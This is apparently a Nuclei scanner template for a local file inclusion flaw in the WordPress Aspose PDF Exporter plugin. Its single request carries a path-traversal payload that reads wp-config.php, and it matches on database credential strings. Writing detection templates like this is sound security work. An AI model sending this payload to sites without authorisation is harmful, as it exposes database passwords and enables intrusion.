id: aspose-pdf-file-download

info:
  name: WordPress Aspose PDF Exporter - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Aspose PDF Exporter is vulnerable to local file inclusion.
  reference:
    - https://packetstormsecurity.com/files/131161
    - https://wordpress.org/plugins/aspose-pdf-exporter
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: aspose,packetstorm,wordpress,wp-plugin,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/Wordpress/Aaspose-pdf-exporter/aspose_pdf_exporter_download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100da7360fd37bb601159657fb7ba4293cb5ff8d6fdf731d80f0850d99ef76444bb022100c36b3ece016d385741ee45a4806e281e4d94dde02b500b12c7a7c40d17085c77:922c64590222798bb761d5b6d8e72950
